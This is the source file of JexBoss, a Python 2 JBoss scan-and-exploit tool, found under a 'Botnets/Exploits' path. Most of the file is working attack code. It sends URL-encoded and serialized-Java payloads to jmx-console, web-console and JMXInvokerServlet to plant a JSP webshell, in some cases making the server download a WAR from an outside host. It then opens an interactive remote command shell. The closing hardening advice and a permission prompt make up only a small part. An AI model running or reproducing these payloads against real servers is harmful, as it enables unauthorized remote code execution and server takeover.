Path: blob/master/Botnets/Exploits/JBOSS FULL/test.py
5038 views
# coding: utf-81# JexBoss v1.0. @autor: João Filho Matos Figueiredo ([email protected])2# Updates: https://github.com/joaomatosf/jexboss3# Free for distribution and modification, but the authorship should be preserved.456import httplib, sys, urllib, os, time7from urllib import urlencode89RED = '\x1b[91m'10RED1 = '\033[31m'11BLUE = '\033[94m'12GREEN = '\033[32m'13BOLD = '\033[1m'14NORMAL = '\033[0m'15ENDC = '\033[0m'1617def getHost(url):18tokens = url.split("://")19if len(tokens) == 2: #foi fornecido protocolo20return tokens[1].split(":")[0]21else:22return tokens.split(":")[0]2324def getProtocol(url):25tokens = url.split("://")26if tokens[0] == "https":27return "https"28else:29return "http"3031def getPort(url):32token = url[6:].split(":")33if len(token) == 2:34return token[1]35elif getProtocol(url) == "https":36return 44337else:38return 803940def getConnection(url):41if getProtocol(url) == "https":42return httplib.HTTPSConnection(getHost(url), getPort(url))43else:44return httplib.HTTPConnection(getHost(url), getPort(url))454647def getSuccessfully(url, path):48result = 40449time.sleep(5)50conn = getConnection(url)51conn.request("GET", path)52result = conn.getresponse().status53if result == 404:54conn.close()55time.sleep(7)56conn = getConnection(url)57conn.request("GET", path)58result = conn.getresponse().status59conn.close()60return result6162def checkVul(url):6364print ( GREEN +" ** Checking Host: %s **\n" %url )6566path = { "jmx-console" : "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",67"web-console" : "/web-console/ServerInfo.jsp",68"JMXInvokerServlet" : "/invoker/JMXInvokerServlet"}6970for i in path.keys():71try:72print GREEN + " * Checking %s: \t" %i + ENDC,73conn = getConnection(url)74conn.request("HEAD", path[i])75path[i] = conn.getresponse().status76if path[i] == 200 or path[i] == 500:77print RED + "[ VULNERABLE ]" + ENDC78else: print GREEN + "[ OK ]"79conn.close()80except:81print RED + "\n * An error ocurred while contaction the host %s\n" %url + ENDC82path[i] = 5058384return path8586def autoExploit(url, type):8788# exploitJmxConsoleFileRepository: tested and working in jboss 4 and 589# exploitJmxConsoleMainDeploy: tested and working in jboss 4 and 690# exploitWebConsoleInvoker: tested and working in jboss 491# exploitJMXInvokerFileRepository: tested and working in jboss 4 and 59293print GREEN + ("\n * Sending exploit code to %s. Wait...\n" %url)94result = 50595if type == "jmx-console":96result = exploitJmxConsoleFileRepository(url)97if result != 200 and result != 500:98result = exploitJmxConsoleMainDeploy(url)99elif type == "web-console":100result = exploitWebConsoleInvoker(url)101elif type == "JMXInvokerServlet":102result = exploitJMXInvokerFileRepository(url)103104if result == 200 or result == 500:105print GREEN + " * Successfully deployed code! Starting command shell, wait...\n" + ENDC106shell_http(url, type)107else:108print (RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n"109" Waiting for 7 seconds...\n "+ ENDC)110time.sleep(7)111112def shell_http(url, type):113if type == "jmx-console" or type == "web-console":114path = '/jbossass/jbossass.jsp?'115elif type == "JMXInvokerServlet":116path = '/shellinvoker/shellinvoker.jsp?'117118conn = getConnection(url)119conn.request("GET", path)120conn.close()121time.sleep(7)122resp = ""123#clear()124print " * - - - - - - - - - - - - - - - - - - - - LOL - - - - - - - - - - - - - - - - - - - - * \n"125print RED+" * "+url+": \n"+ENDC126headers = {"User-Agent" : "jexboss"}127for cmd in ['uname -a', 'cat /etc/issue', 'id']:128conn = getConnection(url)129cmd = urlencode({"ppp": cmd})130conn.request("GET", path+cmd, '', headers)131resp += " "+conn.getresponse().read().split(">")[1]132print resp,133134while 1:135print BLUE + "[Type commands or \"exit\" to finish]"136cmd=raw_input("Shell> "+ENDC)137#print ENDC138if cmd == "exit":139break140conn = getConnection(url)141cmd = urlencode({"ppp": cmd})142conn.request("GET", path+cmd, '', headers)143resp = conn.getresponse()144if resp.status == 404:145print RED+ " * Error contacting the commando shell. Try again later..."146conn.close()147continue148stdout = ""149try:150stdout = resp.read().split("pre>")[1]151except:152print RED+ " * Error contacting the commando shell. Try again later..."153if stdout.count("An exception occurred processing JSP page") == 1:154print RED + " * Error executing command \"%s\". " %cmd.split("=")[1] + ENDC155else: print stdout,156conn.close()157158def exploitJmxConsoleMainDeploy(url):159# MainDeployer160# does not work in jboss5 (bug in jboss5)161# shell in link162# /jmx-console/HtmlAdaptor163jsp = "http://www.joaomatosf.com/rnp/jbossass.war"164payload =( "/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service"165"=MainDeployer&methodIndex=19&arg0="+jsp)166print ( GREEN+ "\n * Info: This exploit will force the server to deploy the webshell "167"\n available on: "+jsp +ENDC)168conn = getConnection(url)169conn.request("HEAD", payload)170result = conn.getresponse().status171conn.close()172return getSuccessfully(url, "/jbossass/jbossass.jsp")173174def exploitJmxConsoleFileRepository(url):175# DeploymentFileRepository176# tested and work in jboss4, 5.177# doest not work in jboss6178# shell jsp179# /jmx-console/HtmlAdaptor180jsp =("%3C%25%40%20%70%61%67%65%20%69%6D%70%6F%72%74%3D%22%6A%61%76%61"181"%2E%75%74%69%6C%2E%2A%2C%6A%61%76%61%2E%69%6F%2E%2A%22%25%3E%3C"182"%70%72%65%3E%3C%25%20%69%66%20%28%72%65%71%75%65%73%74%2E%67%65"183"%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29%20%21%3D%20"184"%6E%75%6C%6C%20%26%26%20%72%65%71%75%65%73%74%2E%67%65%74%48%65"185"%61%64%65%72%28%22%75%73%65%72%2D%61%67%65%6E%74%22%29%2E%65%71"186"%75%61%6C%73%28%22%6A%65%78%62%6F%73%73%22%29%29%20%7B%20%50%72"187"%6F%63%65%73%73%20%70%20%3D%20%52%75%6E%74%69%6D%65%2E%67%65%74"188"%52%75%6E%74%69%6D%65%28%29%2E%65%78%65%63%28%72%65%71%75%65%73"189"%74%2E%67%65%74%50%61%72%61%6D%65%74%65%72%28%22%70%70%70%22%29"190"%29%3B%20%44%61%74%61%49%6E%70%75%74%53%74%72%65%61%6D%20%64%69"191"%73%20%3D%20%6E%65%77%20%44%61%74%61%49%6E%70%75%74%53%74%72%65"192"%61%6D%28%70%2E%67%65%74%49%6E%70%75%74%53%74%72%65%61%6D%28%29"193"%29%3B%20%53%74%72%69%6E%67%20%64%69%73%72%20%3D%20%64%69%73%2E"194"%72%65%61%64%4C%69%6E%65%28%29%3B%20%77%68%69%6C%65%20%28%20%64"195"%69%73%72%20%21%3D%20%6E%75%6C%6C%20%29%20%7B%20%6F%75%74%2E%70"196"%72%69%6E%74%6C%6E%28%64%69%73%72%29%3B%20%64%69%73%72%20%3D%20"197"%64%69%73%2E%72%65%61%64%4C%69%6E%65%28%29%3B%20%7D%20%7D%25%3E" )198199payload =("/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin:service="200"DeploymentFileRepository&methodName=store&argType=java.lang.String&arg0="201"jbossass.war&argType=java.lang.String&arg1=jbossass&argType=java.lang.St"202"ring&arg2=.jsp&argType=java.lang.String&arg3="+jsp+"&argType=boolean&arg4=True")203204conn = getConnection(url)205conn.request("HEAD", payload)206result = conn.getresponse().status207conn.close()208return getSuccessfully(url, "/jbossass/jbossass.jsp")209210def exploitJMXInvokerFileRepository(url):211# tested and work in jboss4, 5212# MainDeploy, shell in data213# /invoker/JMXInvokerServlet214payload = ( "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73"215"\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72"216"\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f"217"\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77"218"\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76"219"\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2"220"\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75"221"\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e"222"\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00"223"\x78\x70\xe3\x2c\x60\xe6\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62"224"\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d"225"\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc"226"\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x7a\x00\x00\x02\xc6"227"\x00\x00\x02\xbe\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61"228"\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90"229"\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04"230"\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65"231"\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f"232"\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x2c\x6a"233"\x62\x6f\x73\x73\x2e\x61\x64\x6d\x69\x6e\x3a\x73\x65\x72\x76\x69"234"\x63\x65\x3d\x44\x65\x70\x6c\x6f\x79\x6d\x65\x6e\x74\x46\x69\x6c"235"\x65\x52\x65\x70\x6f\x73\x69\x74\x6f\x72\x79\x78\x74\x00\x05\x73"236"\x74\x6f\x72\x65\x75\x71\x00\x7e\x00\x00\x00\x00\x00\x05\x74\x00"237"\x10\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72\x2e\x77\x61"238"\x72\x74\x00\x0c\x73\x68\x65\x6c\x6c\x69\x6e\x76\x6f\x6b\x65\x72"239"\x74\x00\x04\x2e\x6a\x73\x70\x74\x01\x79\x3c\x25\x40\x20\x70\x61"240"\x67\x65\x20\x69\x6d\x70\x6f\x72\x74\x3d\x22\x6a\x61\x76\x61\x2e"241"\x75\x74\x69\x6c\x2e\x2a\x2c\x6a\x61\x76\x61\x2e\x69\x6f\x2e\x2a"242"\x22\x25\x3e\x3c\x70\x72\x65\x3e\x3c\x25\x69\x66\x28\x72\x65\x71"243"\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d\x65\x74\x65"244"\x72\x28\x22\x70\x70\x70\x22\x29\x20\x21\x3d\x20\x6e\x75\x6c\x6c"245"\x20\x26\x26\x20\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x48"246"\x65\x61\x64\x65\x72\x28\x22\x75\x73\x65\x72\x2d\x61\x67\x65\x6e"247"\x74\x22\x29\x2e\x65\x71\x75\x61\x6c\x73\x28\x22\x6a\x65\x78\x62"248"\x6f\x73\x73\x22\x29\x20\x29\x20\x7b\x20\x50\x72\x6f\x63\x65\x73"249"\x73\x20\x70\x20\x3d\x20\x52\x75\x6e\x74\x69\x6d\x65\x2e\x67\x65"250"\x74\x52\x75\x6e\x74\x69\x6d\x65\x28\x29\x2e\x65\x78\x65\x63\x28"251"\x72\x65\x71\x75\x65\x73\x74\x2e\x67\x65\x74\x50\x61\x72\x61\x6d"252"\x65\x74\x65\x72\x28\x22\x70\x70\x70\x22\x29\x29\x3b\x20\x44\x61"253"\x74\x61\x49\x6e\x70\x75\x74\x53\x74\x72\x65\x61\x6d\x20\x64\x69"254"\x73\x20\x3d\x20\x6e\x65\x77\x20\x44\x61\x74\x61\x49\x6e\x70\x75"255"\x74\x53\x74\x72\x65\x61\x6d\x28\x70\x2e\x67\x65\x74\x49\x6e\x70"256"\x75\x74\x53\x74\x72\x65\x61\x6d\x28\x29\x29\x3b\x20\x53\x74\x72"257"\x69\x6e\x67\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69\x73\x2e\x72"258"\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x77\x68\x69\x6c\x65"259"\x20\x28\x20\x64\x69\x73\x72\x20\x21\x3d\x20\x6e\x75\x6c\x6c\x20"260"\x29\x20\x7b\x20\x6f\x75\x74\x2e\x70\x72\x69\x6e\x74\x6c\x6e\x28"261"\x64\x69\x73\x72\x29\x3b\x20\x64\x69\x73\x72\x20\x3d\x20\x64\x69"262"\x73\x2e\x72\x65\x61\x64\x4c\x69\x6e\x65\x28\x29\x3b\x20\x7d\x20"263"\x7d\x25\x3e\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67"264"\x2e\x42\x6f\x6f\x6c\x65\x61\x6e\xcd\x20\x72\x80\xd5\x9c\xfa\xee"265"\x02\x00\x01\x5a\x00\x05\x76\x61\x6c\x75\x65\x78\x70\x01\x75\x72"266"\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74"267"\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00"268"\x78\x70\x00\x00\x00\x05\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61"269"\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x71\x00\x7e\x00\x0f\x71\x00"270"\x7e\x00\x0f\x71\x00\x7e\x00\x0f\x74\x00\x07\x62\x6f\x6f\x6c\x65"271"\x61\x6e\x63\x79\xb8\x87\x78\x77\x08\x00\x00\x00\x00\x00\x00\x00"272"\x01\x73\x72\x00\x22\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69"273"\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61"274"\x74\x69\x6f\x6e\x4b\x65\x79\xb8\xfb\x72\x84\xd7\x93\x85\xf9\x02"275"\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00"276"\x00\x04\x70\x78")277conn = getConnection(url)278headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue",279"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}280conn.request("POST", "/invoker/JMXInvokerServlet", payload, headers)281response = conn.getresponse()282result = response.status283if result == 401:284print " Retrying..."285conn.close()286conn.request("HEAD", "/invoker/JMXInvokerServlet", payload, headers)287response = conn.getresponse()288result = response.status289if response.read().count("Failed") > 0:290result = 505291conn.close292return getSuccessfully(url, "/shellinvoker/shellinvoker.jsp")293294def exploitWebConsoleInvoker(url):295# does not work in jboss5 (bug in jboss5)296# MainDeploy, shell in link297# /web-console/Invoker298#jsp = "http://www.joaomatosf.com/rnp/jbossass.war"299#jsp = "\\x".join("{:02x}".format(ord(c)) for c in jsp)300#jsp = "\\x" + jsp301payload = ( "\xac\xed\x00\x05\x73\x72\x00\x2e\x6f\x72\x67\x2e"302"\x6a\x62\x6f\x73\x73\x2e\x63\x6f\x6e\x73\x6f\x6c\x65\x2e\x72\x65"303"\x6d\x6f\x74\x65\x2e\x52\x65\x6d\x6f\x74\x65\x4d\x42\x65\x61\x6e"304"\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\xe0\x4f\xa3\x7a\x74\xae"305"\x8d\xfa\x02\x00\x04\x4c\x00\x0a\x61\x63\x74\x69\x6f\x6e\x4e\x61"306"\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f"307"\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x06\x70\x61\x72\x61\x6d\x73"308"\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f"309"\x62\x6a\x65\x63\x74\x3b\x5b\x00\x09\x73\x69\x67\x6e\x61\x74\x75"310"\x72\x65\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67"311"\x2f\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x10\x74\x61\x72\x67\x65"312"\x74\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x74\x00\x1d\x4c\x6a"313"\x61\x76\x61\x78\x2f\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2f"314"\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x3b\x78\x70\x74\x00\x06"315"\x64\x65\x70\x6c\x6f\x79\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61"316"\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58"317"\x9f\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00"318"\x2a"319#link320"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x6a\x6f\x61\x6f\x6d\x61"321"\x74\x6f\x73\x66\x2e\x63\x6f\x6d\x2f\x72\x6e\x70\x2f\x6a\x62\x6f"322"\x73\x73\x61\x73\x73\x2e\x77\x61\x72"323#end324"\x75\x72\x00\x13\x5b"325"\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e"326"\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x78\x70\x00"327"\x00\x00\x01\x74\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e"328"\x53\x74\x72\x69\x6e\x67\x73\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e"329"\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63"330"\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00"331"\x78\x70\x74\x00\x21\x6a\x62\x6f\x73\x73\x2e\x73\x79\x73\x74\x65"332"\x6d\x3a\x73\x65\x72\x76\x69\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65"333"\x70\x6c\x6f\x79\x65\x72\x78")334conn = getConnection(url)335headers = { "Content-Type" : "application/x-java-serialized-object; class=org.jboss.console.remote.RemoteMBeanInvocation",336"Accept" : "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"}337conn.request("POST", "/web-console/Invoker", payload, headers)338response = conn.getresponse()339result = response.status340if result == 401:341print " Retrying..."342conn.close()343conn.request("HEAD", "/web-console/Invoker", payload, headers)344response = conn.getresponse()345result = response.status346conn.close347return getSuccessfully(url, "/jbossass/jbossass.jsp")348349350def clear():351if os.name == 'posix':352os.system('clear')353elif os.name == ('ce', 'nt', 'dos'):354os.system('cls')355356def checkArgs(args):357if len(args) < 2 or args[1].count('.') < 1:358return 1,"You must provide the host name or IP address you want to test."359elif len(args[1].split('://')) == 1:360return 2, 'Changing address "%s" to "http://%s"' %(args[1], args[1])361elif args[1].count('http') == 1 and args[1].count('.') > 1:362return 0, ""363else:364return 1, 'Parâmetro inválido'365366def banner():367clear()368print (RED1+"\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"369" | |\n"370" | @author: João Filho Matos Figueiredo |\n"371" | @contact: [email protected] |\n"372" | |\n"373" | @update: https://github.com/joaomatosf/jexboss |\n"374" #______________________________________________________#\n\n" )375376banner()377# check python version378if sys.version_info[0] == 3:379print (RED + "\n * Not compatible with version 3 of python.\n"380" Please run it with version 2.7 or lower.\n\n"381+BLUE+" * Example:\n"382" python2.7 " + sys.argv[0]+ " https://site.com\n\n"+ENDC )383sys.exit(1)384385# check Args386status, message = checkArgs(sys.argv)387if status == 0:388url = sys.argv[1]389elif status == 1:390print RED + "\n * Error: %s" %message391print BLUE + "\n Example:\n python %s https://site.com.br\n" %sys.argv[0] + ENDC392sys.exit(status)393elif status == 2:394url = ''.join(['http://',sys.argv[1]])395396# check vulnerabilities397mapResult = checkVul(url)398399# performs exploitation400for i in ["jmx-console", "web-console", "JMXInvokerServlet"]:401if mapResult[i] == 200 or mapResult[i] == 500:402print BLUE + ("\n\n * Do you want to try to run an automated exploitation via \""+BOLD+i+NORMAL+"\" ?\n"403" This operation will provide a simple command shell to execute commands on the server..\n"404+RED+" Continue only if you have permission!" +ENDC)405if raw_input(" yes/NO ? ").lower() == "yes":406autoExploit(url, i)407408# resume results409if mapResult.values().count(200) > 0:410banner()411print RED+ " Results: potentially compromised server!" +ENDC412print (GREEN+" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n\n"413" Recommendations: \n"414" - Remove web consoles and services that are not used, eg:\n"415" $ rm web-console.war\n"416" $ rm http-invoker.sar\n"417" $ rm jmx-console.war\n"418" $ rm jmx-invoker-adaptor-server.sar\n"419" $ rm admin-console.war\n"420" - Use a reverse proxy (eg. nginx, apache, f5)\n"421" - Limit access to the server only via reverse proxy (eg. DROP INPUT POLICY)\n"422" - Search vestiges of exploitation within the directories \"deploy\" or \"management\".\n\n"423" References:\n"424" [1] - https://developer.jboss.org/wiki/SecureTheJmxConsole\n"425" [2] - https://issues.jboss.org/secure/attachment/12313982/jboss-securejmx.pdf\n"426"\n"427" - If possible, discard this server!\n\n"428" * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -*\n" )429elif mapResult.values().count(505) == 0:430print ( GREEN+ "\n\n * Results: \n"431" The server is not vulnerable to bugs tested ... :D\n\n" + ENDC)432433# infos434print (ENDC+" * Info: review, suggestions, updates, etc: \n"435" https://github.com/joaomatosf/jexboss\n"436" [email protected]\n")437438print ENDC439440